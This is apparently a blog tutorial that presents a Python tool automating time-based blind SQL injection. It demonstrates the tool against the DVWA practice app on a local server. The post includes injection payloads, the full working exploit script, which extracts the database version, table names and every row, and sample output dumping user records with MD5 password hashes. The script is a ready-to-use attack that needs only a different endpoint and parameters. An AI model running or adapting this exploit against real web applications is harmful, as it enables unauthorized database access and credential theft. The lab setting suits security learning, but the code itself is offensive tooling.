Introduction️
A blind SQL injection is a type of SQL injection attack in which an attacker attempts to execute SQL commands on a database without receiving direct feedback about the results of queries. However, attackers can infer useful information by observing the application’s behavior or response time. In this case, the technique based on time will be used, although there is also one based on booleans.️
Here, the attacker introduces a SQL query that makes the database wait for a certain time before responding. If the application takes longer to respond, the attacker can infer that the injection was successful. For example, an attacker could try:
' OR IF(1=1, SLEEP(5), 0) --
If the application takes 5 seconds to respond, the attacker can conclude that the condition was true. Since in this case we are comparing the integer ‘1’ to ‘1’, which is true, so as the condition is successful the execution of program is suspended for 5 seconds.️
A vulnerability scanner has been developed in the Python programming language, which automates an attack given a vulnerable point and a series of parameters. It extracts the version of the MySQL database used, the name of the MySQL database used, and the content of its tables, with their rows and columns. To test the program, the vulnerable application DVWA will be used in its SQL Injection (Blind) section.️
Use of Auto blindSQLi️
Before starting the application, it is necessary to configure a series of parameters that are located at the beginning of the source code. The first one is SQL_ENDPOINT and it is the address of the vulnerable point. In this case it is a local server on port 1337.️
SQLI_ENDPOINT = 'http://127.0.0.1:1337/vulnerabilities/sqli_blind/'
The next one is METHOD_TO_USE, with the HTTP request method to use, in this case GET, as an alternative the POST method can be used.
METHOD_TO_USE = 'GET'
Then, the parameters of the GET request or the form data of the POST request are specified by the PARAMS variable.
PARAMS =
'id': '1',
'Submit': 'Submit'
}
VULNERABLE_PARAM must be specified with the vulnerable parameter to SQL injection.️
VULNERABLE_PARAM = 'id'
If it were necessary to add the use of cookies, they can be specified with the dictionary variable COOKIES. If not, the variable can be left empty ({}). In this case, a session must be initiated.️
COOKIES = {
'security': 'low',
'PHPSESSID': '0s5sno9fenb6u7ld53t73f0sd6'
}
According to how the web application has been programmed, the base SQL query to inject may vary. In this case with the variable BASE_SQL_QUERY, we close the original query variable with a ‘1’ (1') and add the common conditional sentence in which with the variable {command} we refer to the query to be performed, with the variable {comparision} we refer to the value to compare and with the variable {time_to_wait} we refer to the time to wait if the comparison is positive. Finally, with the character # the rest of the original query is commented out. This would be the injection.️
1' AND IF (command=comparision, SLEEP(time_to_wait), 'false') #
And this would be the variable to set.️
BASE_SQL_QUERY = '1\' AND IF ({command}={comparision}, SLEEP({time_to_wait}), \'false\') #'
With the variable TIME_TO_WAIT we refer to the time to wait if the comparison is positive. In this case it is 0.05 seconds, a very low value since we will be using a local server. In the case that the response time of negative comparisons is higher than this value erroneous results will be obtained. Therefore it is useful to vary this value while observing an established waiting time.️
TIME_TO_WAIT = 0.05
Finally, with MAX_LENGTH we set the maximum length of a hexadecimal string to 0x100.️
MAX_LENGTH = 0x100
In this first version, both integers and strings are obtained from the database. This is an example of its execution. After its execution finishes, a representation of the database is printed to the screen in CSV format and in JSON format.️
$ python blind_sql.py
Database version: 10.1.26-MariaDB-0+deb9u1
Database name: dvwa
Tables: ['guestbook', 'users']
Columns of table guestbook: ['comment_id', 'comment', 'name']
Columns of table users: ['user_id', 'first_name', 'last_name', 'user', 'password', 'avatar', 'last_login', 'failed_login']
Number of requests made: 29448
--- CSV TABLE START ---
TABLE guestbook
comment_id,comment,name,
1,THIS IS A TEST COMMENT.,TEST,
TABLE users
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,
1,ADMIN,ADMIN,ADMIN,5F4DCC3B5AA765D61D8327DEB882CF99,/HACKABLE/USERS/ADMIN.JPG,2024-05-31 00:05:49,0,
2,GORDON,BROWN,GORDONB,E99A18C428CB38D5F260853678922E03,/HACKABLE/USERS/GORDONB.JPG,2024-05-31 00:05:49,0,
3,HACK,ME,1337,8D3533D75AE2C3966D7E0D4FCC69216B,/HACKABLE/USERS/1337.JPG,2024-05-31 00:05:49,0,
4,PABLO,PICASSO,PABLO,0D107D09F5BBE40CADE3DE5C71E9E9B7,/HACKABLE/USERS/PABLO.JPG,2024-05-31 00:05:49,0,
5,BOB,SMITH,SMITHY,5F4DCC3B5AA765D61D8327DEB882CF99,/HACKABLE/USERS/SMITHY.JPG,2024-05-31 00:05:49,0,
--- CSV TABLE STOP ---
--- JSON DATA START ---
{"version": "10.1.26-MariaDB-0+deb9u1", "name": "dvwa", "tables": [{"name": "guestbook", "columns": ["comment_id", "comment", "name"], "values": [{"name": "comment_id", "values": ["1"]}, {"name": "comment", "values": ["THIS IS A TEST COMMENT."]}, {"name": "name", "values": ["TEST"]}]}, {"name": "users", "columns": ["user_id", "first_name", "last_name", "user", "password", "avatar", "last_login", "failed_login"], "values": [{"name": "user_id", "values": ["1", "2", "3", "4", "5"]}, {"name": "first_name", "values": ["ADMIN", "GORDON", "HACK", "PABLO", "BOB"]}, {"name": "last_name", "values": ["ADMIN", "BROWN", "ME", "PICASSO", "SMITH"]}, {"name": "user", "values": ["ADMIN", "GORDONB", "1337", "PABLO", "SMITHY"]}, {"name": "password", "values": ["5F4DCC3B5AA765D61D8327DEB882CF99", "E99A18C428CB38D5F260853678922E03", "8D3533D75AE2C3966D7E0D4FCC69216B", "0D107D09F5BBE40CADE3DE5C71E9E9B7", "5F4DCC3B5AA765D61D8327DEB882CF99"]}, {"name": "avatar", "values": ["/HACKABLE/USERS/ADMIN.JPG", "/HACKABLE/USERS/GORDONB.JPG", "/HACKABLE/USERS/1337.JPG", "/HACKABLE/USERS/PABLO.JPG", "/HACKABLE/USERS/SMITHY.JPG"]}, {"name": "last_login", "values": ["2024-05-31 00:05:49", "2024-05-31 00:05:49", "2024-05-31 00:05:49", "2024-05-31 00:05:49", "2024-05-31 00:05:49"]}, {"name": "failed_login", "values": ["0", "0", "0", "0", "0"]}]}]}
--- JSON DATA STOP ---
Source code️
import json
import requests
# Configuration
SQLI_ENDPOINT = 'http://127.0.0.1:13337/vulnerabilities/sqli_blind/'
METHOD_TO_USE = 'GET'
PARAMS = {
'id': '1',
'Submit': 'Submit'
}
VULNERABLE_PARAM = 'id'
COOKIES = {
'security': 'low',
'PHPSESSID': '0s5sno9fenb6u7ld53t73f0sd6'
}
BASE_SQL_QUERY = '1\' AND IF ({command}={comparision}, SLEEP({time_to_wait}), \'false\') #'
TIME_TO_WAIT = 0.05
MAX_LENGTH = 0x100
# Request counter
global REQUESTS_NR
REQUESTS_NR = 0
# Used SQL queries
SELECT_QUERY_BASE = 'SELECT {column_name} FROM {db_name}.{table_name} {condition} {limit}'
FIRST_CONDITION_BASE = 'WHERE {first_condition_name}=\'{first_condition_value}\''
AND_CONDITION_BASE = ' AND {and_condition_name}=\'{and_condition_value}\''
LIMIT_BASE = 'LIMIT {number},1'
def send_sql_injection(command, comparision):
global REQUESTS_NR
PARAMS[VULNERABLE_PARAM] = BASE_SQL_QUERY.format(command=command, comparision=comparision, time_to_wait=TIME_TO_WAIT)
REQUESTS_NR += 1
if METHOD_TO_USE == 'GET':
req = requests.get(SQLI_ENDPOINT, params=PARAMS, cookies=COOKIES)
elif METHOD_TO_USE == 'POST':
req = requests.post(SQLI_ENDPOINT, data=PARAMS, cookies=COOKIES)
return req.elapsed.total_seconds()
def get_command_length(command):
length = 0
for char in range(0x0, MAX_LENGTH, 0x1):
char = str(hex(char))
elapsed_time = send_sql_injection('LENGTH(' + command + ')', char)
if elapsed_time > TIME_TO_WAIT:
length = int(char, 16)
break
return length
def get_command_string_char(command, index, use_collation):
collation = ' COLLATE utf8_bin' if use_collation else ''
for char in range(0x20, 0x7F, 0x1):
char = str(hex(char))
elapsed_time = send_sql_injection('SUBSTRING(' + command + ', ' + index + ', 1)' + collation, char)
if elapsed_time > TIME_TO_WAIT:
return chr(int(char, 16))
def get_command_string(command, length, use_collation):
string = ''
for index in range(1, length + 1, 1):
index = str(index)
# The collation can be used incorrectly (not for ints), so negate it
try:
string += get_command_string_char(command, index, use_collation)
except TypeError:
use_collation = not(use_collation)
string += get_command_string_char(command, index, use_collation)
return string
def get_command(command, use_collation):
length = get_command_length(command)
return get_command_string(command, length, use_collation)
def get_db_version():
return get_command('VERSION()', True)
def get_used_db_name():
return get_command('DATABASE()', True)
def get_rows_of_column(column_name, db_name, table_name, conditions):
rows = []
select_conditions = ''
condition_nr = 0
for condition in conditions:
if condition_nr < 1:
select_conditions += FIRST_CONDITION_BASE.format(first_condition_name=condition['name'], first_condition_value=condition['value'])
else:
select_conditions += AND_CONDITION_BASE.format(and_condition_name=condition['name'], and_condition_value=condition['value'])
condition_nr += 1
command = '(' + SELECT_QUERY_BASE.format(column_name='COUNT('+column_name+')', db_name=db_name, table_name=table_name,
condition=select_conditions, limit='') + ')'
nr_of_rows = int(get_command(command, False))
for row_nr in range(0, nr_of_rows, 1):
command = '(' + SELECT_QUERY_BASE.format(column_name=column_name, db_name=db_name, table_name=table_name,
condition=select_conditions, limit=LIMIT_BASE.format(number=row_nr)) + ')'
rows.append(get_command(command, True))
return rows
def get_table_names(db_name):
conditions = []
condition_one = {}
condition_one['name'] = 'TABLE_SCHEMA'
condition_one['value'] = db_name
conditions.append(condition_one)
return get_rows_of_column('TABLE_NAME', 'information_schema', 'TABLES', conditions)
def get_column_names(db_name, table_name):
conditions = []
condition_one = {}
condition_one['name'] = 'TABLE_SCHEMA'
condition_one['value'] = db_name
condition_two = {}
condition_two['name'] = 'TABLE_NAME'
condition_two['value'] = table_name
conditions.append(condition_one)
conditions.append(condition_two)
return get_rows_of_column('COLUMN_NAME', 'information_schema', 'COLUMNS', conditions)
db = {}
db['version'] = get_db_version() # '10.1.26-MariaDB-0+deb9u1'
print('Database version: ' + db['version'])
db['name'] = get_used_db_name() # 'dvwa'
print('Database name: ' + db['name'])
db['tables'] = []
tables = get_table_names(db['name']) # ['guestbook', 'users']
print('Tables: ' + str(tables))
for table_name in tables:
table = {}
table['name'] = table_name
table['columns'] = get_column_names(db['name'], table_name)
db['tables'].append(table)
print('Columns of table ' + table_name + ': ' + str(table['columns']))
for table in db['tables']:
table['values'] = []
for column in table['columns']:
value = {}
value['name'] = column
value['values'] = get_rows_of_column(column, db['name'], table['name'], [])
table['values'].append(value)
print('Number of requests made: ' + str(REQUESTS_NR))
print('--- CSV TABLE START ---')
for table in db['tables']:
print('TABLE ' + table['name'])
rows_nr = len(table['values'][0]['values'])
for column in table['columns']:
print(column, end=',')
print()
for row in range(0, rows_nr, 1):
for column in table['columns']:
for value in table['values']:
if value['name'] == column:
print(value['values'][row], end=',')
print()
print('--- CSV TABLE STOP ---')
print('--- JSON DATA START ---')
print(json.dumps(db))
print('--- JSON DATA STOP ---')